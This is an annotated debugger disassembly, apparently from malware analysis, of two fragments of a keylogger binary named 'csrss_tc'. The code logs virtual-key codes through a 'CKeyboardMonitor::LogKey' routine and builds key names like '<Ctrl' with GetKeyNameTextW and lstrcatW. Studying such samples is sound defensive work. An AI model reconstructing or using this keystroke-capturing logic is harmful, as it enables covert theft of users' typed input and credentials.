00436E50                                  55              PUSH    EBP
00436E51                                  8BEC            MOV     EBP, ESP
00436E53                                  83E4 F8         AND     ESP, FFFFFFF8
00436E56                                  B8 44100000     MOV     EAX, 1044
00436E5B                                  E8 B0DC0200     CALL    00464B10                             ; csrss_tc.00464B10
00436E60                                  A1 C8B34900     MOV     EAX, DWORD PTR DS:[49B3C8]
00436E65                                  33C4            XOR     EAX, ESP
00436E67                                  898424 40100000 MOV     DWORD PTR SS:[ESP+1040], EAX
00436E6E                                  53              PUSH    EBX
00436E6F                                  56              PUSH    ESI
00436E70                                  8BF1            MOV     ESI, ECX                             ; ntdll.7C9164EE
00436E72                                  8B06            MOV     EAX, DWORD PTR DS:[ESI]
00436E74                                  57              PUSH    EDI
00436E75                                  50              PUSH    EAX
00436E76                                  68 68E24800     PUSH    48E268                               ; ASCII "CKeyboardMonitor::LogKey() vkcode: %d
"
00436E7B                                  E8 ABC80100     CALL    0045372B                             ; csrss_tc.0045372B

....

004372C9                                 .  68 00010000   PUSH    100                                  ; /Count = 100 (256.)
004372CE                                 .  8D8C24 3C0300>LEA     ECX, DWORD PTR SS:[ESP+33C]          ; |
004372D5                                 .  51            PUSH    ECX                                  ; |Buffer = ntdll.7C9164EE
004372D6                                 .  0FB64E 04     MOVZX   ECX, BYTE PTR DS:[ESI+4]             ; |
004372DA                                 .  66:C1E2 08    SHL     DX, 8                                ; |
004372DE                                 .  0FB7C2        MOVZX   EAX, DX                              ; |
004372E1                                 .  0BC1          OR      EAX, ECX                             ; |ntdll.7C9164EE
004372E3                                 .  C1E0 10       SHL     EAX, 10                              ; |
004372E6                                 .  50            PUSH    EAX                                  ; |lParam = 0
004372E7                                 .  FF15 B0044800 CALL    NEAR DWORD PTR DS:[4804B0]           ; \GetKeyNameTextW
004372ED                                 .  8B3D 50014800 MOV     EDI, DWORD PTR DS:[480150]           ;  kernel32.lstrcatW
004372F3                                 .  32C0          XOR     AL, AL
004372F5                                 .  F64424 41 80  TEST    BYTE PTR SS:[ESP+41], 80
004372FA                                 .  74 20         JE      SHORT 0043731C                       ;  csrss_tc.0043731C
004372FC                                 .  68 98CD4800   PUSH    48CD98                               ; /StringToAdd = "<"
00437301                                 .  8D9424 3C0100>LEA     EDX, DWORD PTR SS:[ESP+13C]          ; |
00437308                                 .  52            PUSH    EDX                                  ; |ConcatString = "??.."
00437309                                 .  FFD7          CALL    NEAR EDI                             ; \lstrcatW
0043730B                                 .  68 B8E24800   PUSH    48E2B8                               ; /StringToAdd = "Ctrl"
00437310                                 .  8D8424 3C0100>LEA     EAX, DWORD PTR SS:[ESP+13C]          ; |
00437317                                 .  50            PUSH    EAX                                  ; |ConcatString = NULL
00437318                                 .  FFD7          CALL    NEAR EDI                             ; \lstrcatW
0043731A                                 .  B0 01         MOV     AL, 1
0043731C                                 >  F64424 42 80  TEST    BYTE PTR SS:[ESP+42], 80
00437321                                 .  74 2A         JE      SHORT 0043734D                       ;  csrss_tc.0043734D

....